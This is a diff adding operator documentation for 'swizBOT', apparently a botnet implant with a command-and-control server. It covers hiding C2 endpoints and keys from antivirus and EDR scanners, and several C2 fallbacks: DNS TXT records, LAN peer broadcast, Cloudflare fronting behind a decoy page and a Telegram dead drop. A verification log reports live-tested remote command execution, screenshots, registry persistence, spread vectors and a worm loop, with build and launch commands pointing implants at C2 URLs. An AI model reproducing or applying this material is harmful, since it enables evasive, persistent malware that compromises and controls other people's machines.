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docs/BAKED-CONFIG.md

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+# Baked config & OPSEC
+
+`cmd/build` compiles implant configuration straight into the binary, so a
+field deployment is one artifact instead of an env-var bundle. This note
+covers how that config is protected on disk and on the wire, what it does
+and does not guarantee, and how to verify it.
+
+## The problem it fixes
+
+Earlier builds injected each value as its own plaintext symbol:
+
+```
+-ldflags "-X main.bakedC2URLs=https://c2.example:8443 \
+          -X main.bakedBotSecret=s3cret \
+          -X main.bakedBotKey=<implant-priv-hex>"
+```
+
+`-ldflags -X` assigns a Go string variable, and string data lives verbatim
+in the binary. A single `strings` pass recovered the C2 endpoints, the
+shared bot secret and the implant private key from the shipped artifact —
+no reverse engineering required. That is convenience, not OPSEC.
+
+## What we do now
+
+All baked values are packed into one opaque token (`internal/bakepack`) and
+injected as a single string, `main.bakedBundle`:
+
+| Mode | Token | Mechanism | Guarantee |
+|------|-------|-----------|-----------|
+| obfuscated (default) | `b1.<base64url>` | `salt(16) ‖ json XOR SHA-256(seed‖salt‖ctr)` | secrets are not present as readable strings in the binary |
+| sealed (`-seal PASS`) | `b2.<base64url>` | `salt(16) ‖ nonce(12) ‖ AES-256-GCM(json)`, key = PBKDF2-HMAC-SHA256(PASS, salt, 210k) | **authenticated encryption**: the binary alone discloses nothing and is inert without the passphrase |
+
+### Obfuscated (b1)
+
+Defeats casual triage, `strings`/`grep`, AV/EDR static string scanners and
+config hunters. It is **obfuscation, not encryption**: someone who reverses
+the token format can recover the values. Use it when you only need the
+artifact to not hand over its config on a plate.
+
+### Sealed (b2)
+
+Real AEAD under an operator passphrase that is supplied out-of-band at
+runtime via `SWIZ_UNLOCK`. The binary embeds only ciphertext + KDF salt, so
+a recovered artifact is useless without the passphrase. A wrong or missing
+`SWIZ_UNLOCK` fails authentication — the implant does **not** silently fall
+back to a baked secret it could not decrypt; it logs and continues on
+env/defaults. This is the mode to use for real OPSEC.
+
+> Note: no self-contained artifact can hide a secret from someone who holds
+> both the binary *and* the runtime secret. b2 moves the secret out of the
+> binary and into operator custody; it does not put it nowhere.
+
+## Precedence
+
+```
+env (SWIZ_*)  >  baked (token)  >  built-in default
+```
+
+Env always wins, so an operator can override any baked value without a
+rebuild. A sealed bundle that cannot be unlocked simply contributes nothing.
+
+## Building
+
+```bash
+# obfuscated (default)
+go run ./cmd/build -c2-urls https://c2.example:8443 \
+  -bot-secret s3cret -bot-key <implant-hex> -c2-pubkey <op-hex>
+
+# sealed -> zero-leak; set SWIZ_UNLOCK at runtime
+go run ./cmd/build -seal 'correct horse battery staple' \
+  -c2-urls https://c2.example:8443 \
+  -bot-secret s3cret -bot-key <implant-hex> -c2-pubkey <op-hex>
+```
+
+Baking secrets without `-seal` prints a warning.
+
+## Verifying
+
+`make leakscan` (or `scripts/leakscan.sh`) builds the implant three ways and
+asserts the canary secrets are absent from the binary in both bake modes,
+using a deliberate plaintext negative control to prove the scanner works.
+
+```bash
+$ make leakscan
+==> 1/4 negative control ... PASS control: control canary detected (scan works)
+==> 2/4 obfuscated bake (b1) ... PASS obfuscated: no plaintext canaries in binary
+==> 3/4 sealed bake (b2) ... PASS sealed: no plaintext canaries in binary
+==> 4/4 env still overrides baked ... PASS
+ALL LEAK CHECKS PASSED
+```
+
+Unit coverage lives in `internal/bakepack/bakepack_test.go`: round-trip for
+both modes, passphrase required/wrong/tamper rejection, and a
+plaintext-absence regression guard.

docs/P2P.md

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+# LAN peer discovery (P2P)
+
+The implant can learn additional C2 endpoints from other implants on
+the same LAN. This is an auxiliary discovery layer; the primary
+endpoints from SWIZ_C2_URLS always stay first in the rotation.
+
+## Enable
+
+```
+SWIZ_P2P=1 SWIZ_PEER_PORT=31337 ./swizbot-bot-linux
+```
+
+Every participating implant:
+
+- listens on UDP :31337 (SWIZ_PEER_PORT) for `SWIZC2 <url> [<url>...]`
+  announcements;
+- answers a peer with its own endpoint list;
+- broadcasts its own list to the /24 directed broadcast every 60
+  seconds.
+
+Learned endpoints are merged into the client rotation (deduplicated,
+capped at 32). Discovery is plaintext and unauthenticated: it is a
+fallback for finding a C2 after primary domains are gone, not a
+security boundary. On networks where you do not want the implant to
+answer discovery traffic, leave SWIZ_P2P unset.

docs/TRANSPORTS.md

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+# swizBOT — transport options (C2 redundancy)
+
+The swizBOT implant is endpoint-agnostic: it polls a list of C2
+URLs in random order and fails over across layers. Nothing in the
+client depends on a specific tunnel provider. Pick any option below
+and point implants at the public URL with `SWIZ_C2_URLS`; pair every
+public exposure with `-token` and `-bot-secret`.
+
+## Layer summary (implant fallback order)
+
+1. Primary HTTPS endpoints (`SWIZ_C2_URLS`) — your own TLS host or a
+   tunnel URL, tried in random order.
+2. DNS TXT discovery (`SWIZ_DNS_DOMAIN`) — operator-controlled domain
+   publishes additional endpoints; checked at boot and hourly.
+3. LAN peer discovery (`SWIZ_P2P=1`) — UDP broadcast; other implants
+   share their C2 list, so a cut-off fleet re-finds the operator
+   through any peer that still has a live route. See docs/P2P.md.
+4. Telegram dead drop (`SWIZ_TELEGRAM_TOKEN`) — last-resort command
+   channel when every network path to the C2 is gone.
+5. Local result cache — results are stored while offline and flushed
+   on the next successful contact.
+
+## 1. cloudflared quick tunnel (built in, zero account)
+
+The C2 server spawns a quick tunnel itself:
+
+```bash
+./bin/swizbot-c2 -ui :8080 -listen :8443 -tunnel cloudflared \
+  -token 'op-secret' -bot-secret 'shared-secret' \
+  -cert server.crt -key server.key
+```
+
+It prints the public `https://<random>.trycloudflare.com` URL once
+the tunnel is up. The implant protocol is plain HTTP(S) polling, so
+the whole fleet plus the dashboard ride the same URL:
+
+```bash
+SWIZ_C2_URLS=https://<random>.trycloudflare.com \
+SWIZ_BOT_SECRET=*** ./bin/swizbot-bot-linux
+```
+
+Hostnames are random per start; for a fixed hostname use a named
+cloudflared tunnel or a direct host. Requires `cloudflared` on PATH.
+
+## 2. Direct VPS with TLS (no third party)
+
+Run behind Caddy or nginx on 443, or let the C2 terminate TLS
+itself (`-cert`/`-key`, the default `-listen :8443`). Caddy
+one-liner:
+
+```
+your-domain.example {
+    reverse_proxy 127.0.0.1:8443
+}
+```
+
+Keep the listener bound to 127.0.0.1 when a front proxy is used.
+Implants set `SWIZ_C2_URLS=https://your-domain.example:8443`
+(or :443 when the proxy fronts it).
+
+## 3. CDN fronting (Cloudflare Worker) for the full fleet
+
+`deploy/cloudflare_worker.js` routes on the Host header: requests for
+your hidden hostname are forwarded to the swizBOT origin; everyone
+else gets a decoy page. Set env `C2_HOST` and `BACKEND_URL`, deploy
+with `wrangler`, and implants use
+`SWIZ_C2_URLS=https://<your-cdn-domain>`.
+
+Because the implant channel is HTTP polling (not WebSocket), the
+worker fronts checkin/result for the fleet and the operator API
+without extra bridging. The dashboard `/ws` stream needs the
+WebSocket-origin pattern if you want live UI updates through the
+worker; polling fallback in the dashboard covers it otherwise.
+
+## 4. DNS TXT as dynamic re-discovery
+
+Point `SWIZ_DNS_DOMAIN` at a TXT record you control containing one or
+more `https://` endpoints. When primary endpoints die, implants pick
+up the new operator address from DNS within the hour:
+
+```
+dig TXT c2.example.com
+c2.example.com. 300 IN TXT "https://current-c2.example.net:8443"
+```
+
+## 5. LAN P2P as the last network layer
+
+`SWIZ_P2P=1` enables the UDP peer discovery (port 31337 by default).
+Implants broadcast their endpoint list on the LAN and answer peers.
+This keeps a fleet reachable when external paths are cut but any
+single implant still has a route. Plaintext/unauthenticated by
+design - it is a fallback, not a trust boundary (docs/P2P.md).
+
+## 6. Telegram dead drop
+
+With `SWIZ_TELEGRAM_TOKEN` (and optional `SWIZ_TELEGRAM_CHAT_ID`),
+implants fall back to polling a Telegram channel for JSON commands
+when every endpoint is unreachable. Lowest bandwidth, highest
+latency - the last-resort command lane.

docs/VERIFICATION.md

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+# Verification status
+
+What has actually been **executed** versus what only compiles and is unit
+tested. Kept honest on purpose: a thing that builds is not a thing that
+runs.
+
+Last updated 2026-09-10 (main).
+
+## Live-verified
+
+| area | how | result |
+|------|-----|--------|
+| Linux implant end to end | boot C2, bake implant, `exec` command | registered, sealed AEAD checkin, result `success` |
+| Obfuscated baked config (b1) | `make leakscan` | no string-recoverable secrets |
+| Sealed baked config (b2) | `make leakscan` + live run | inert without `SWIZ_UNLOCK`; loads with it |
+| DNS fallback layer | local stub, HTTPS endpoint dead, command published as TXT `swiz1:<b64>` | implant opened + executed the command over DNS |
+| Windows implant (Wine) | Wine 10 + Xvfb, host C2 | registered (`windows/amd64`), sealed channel active, `exec` returned `WIN-EXEC-OK` |
+| Windows GDI screenshot (Wine) | `screenshot` command | valid PNG, 1280x1024 |
+| Windows registry persistence (Wine) | run implant | `HKCU\...\Run` -> `swizBOT` value written |
+| Transport manager | unit tests (controllable clock) | failover, probation, recovery, backoff cap, ordering |
+
+## Compiled + unit-tested only (not live-fired here)
+
+- **Telegram dead-drop layer** — needs a real bot token + chat.
+- **P2P LAN discovery** — needs a real multi-host LAN.
+- **SMB / USB / network-share vectors** and **scheduled-task persistence** —
+  need a real Windows host; Wine has no SMB server and no `schtasks`.
+- **Stager** — emulator round-trips + nasm byte parity only; not run on
+  Windows hardware.
+
+## Deliberately not run
+
+- **Worm spread loop** — not executed (sandbox policy).
+
+## Reproducing
+
+```bash
+make vet && make test          # static + unit
+make leakscan                  # baked-config leak scan (with negative control)
+python3 stager/encoder.py --selftest
+```
+
+DNS-fallback live test: stand up a local DNS responder on `127.0.0.1:53`
+that answers TXT `swiz1:<base64url(sealed frame)>` for a test zone and
+forwards other queries upstream, point `/etc/resolv.conf` at it (restore
+after), set `SWIZ_DNS_DOMAIN`, and run the implant with an unreachable
+`SWIZ_C2_URLS`. The command must arrive over DNS.
+
+Windows-under-Wine: `WINEPREFIX=... xvfb-run -a wine ./swizbot-bot.exe`
+with a Linux C2 as the endpoint (`SWIZ_C2_URLS`/baked), then `exec` /
+`screenshot` and a registry check.